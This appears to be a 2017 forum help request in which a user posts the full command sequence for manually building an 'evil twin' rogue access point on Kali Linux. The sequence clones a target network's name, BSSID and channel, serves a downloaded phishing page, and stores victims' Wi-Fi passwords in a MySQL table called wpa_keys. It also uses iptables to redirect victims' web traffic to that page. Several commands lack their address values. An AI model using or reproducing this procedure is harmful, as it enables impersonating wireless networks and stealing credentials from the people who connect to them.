[HELP] ip forwarding kali 2017.2

Data that travels over the air and how to protect (or decipher) it

[HELP] ip forwarding kali 2017.2

Post by lapolis on Fri Oct 06, 2017 12:01 pm
([msg=94744]see [HELP] ip forwarding kali 2017.2[/msg])

Hi everyone!

It's been a week since I start to try to create manually a evil twin. Everything is working but I get stuck on forwarding the traffic from eth0 to my evil_twin.

I post all of the command I'm using on Kali 2017.2

Code: Select all
apt-get install isc-dhcp-server

cd /etc/dhcp

nano /etc/dhcp/dhcpd.conf

    default-lease-time 600;
    max-lease-time 7200;
    subnet netmask {
    option subnet-mask;
    option broadcast-address;
    option routers;
    option domain-name-servers;

save and confirm and exit

cd /var/www/html

rm index.html

#download in that folder


#unzip eviltwin.zip

/etc/init.d/apache2 start

/etc/init.d/mysql start

mysql -u root

    create database evil_twin;
    use evil_twin
    create table wpa_keys(password varchar(64), confirm varchar(64));
# new terminal

ip route


# find device connected to internet and save "cope link src xxx.xxx.x.xx"
# in our case we have to remember the following lines:
# wired (connected) interface: eth0
# local IP: xxx.xxx.x.xx
# wireless interface (injection interface): wlan1

airmon-ng start wlan1

airodump-ng wlan1mon

    # take a note of the target credential
    # essid: AAA
    # ch: 11
    # bssid: xx:xx:xx:xx:xx:xx

airbase-ng -a xx:xx:xx:xx:xx:xx -e AAA -c 11 -P wlan1mon

# evil twin created, now will connect it to the internet
# the interface at0 now is created
# new terminal

ifconfig at0 netmask

route add -net netmask gw

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE

iptables --append FORWARD --in-interface at0 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination xxx.xxx.x.xx:80

iptables -t nat -A POSTROUTING -j MASQUERADE

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /run/dhcpd.pid at0

#at this point the terminal is prompting this:

Internet Systems Consortium DHCP Server 4.3.5
Copyright 2004-2016 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /run/dhcpd.pid
Wrote 0 leases to leases file.
Listening on LPF/at0/00:c0:ca:84:cb:f5/
Sending on   LPF/at0/00:c0:ca:84:cb:f5/
Sending on   Socket/fallback/fallback-net

#It suppose to prompt:

Wrote 2 leases to leases file.

#so when I run

/etc/init.d/isc-dhcp-server start

#is failing to start.

Anyone got any idea?
If i need to check or try something just post it and I'll do as soon as I got my laptop with me!

Thanks in advance!
New User
New User
Posts: 1
Joined: Fri Oct 06, 2017 11:44 am
Blog: View Blog (0)

Return to Networking

Who is online

Users browsing this forum: No registered users and 0 guests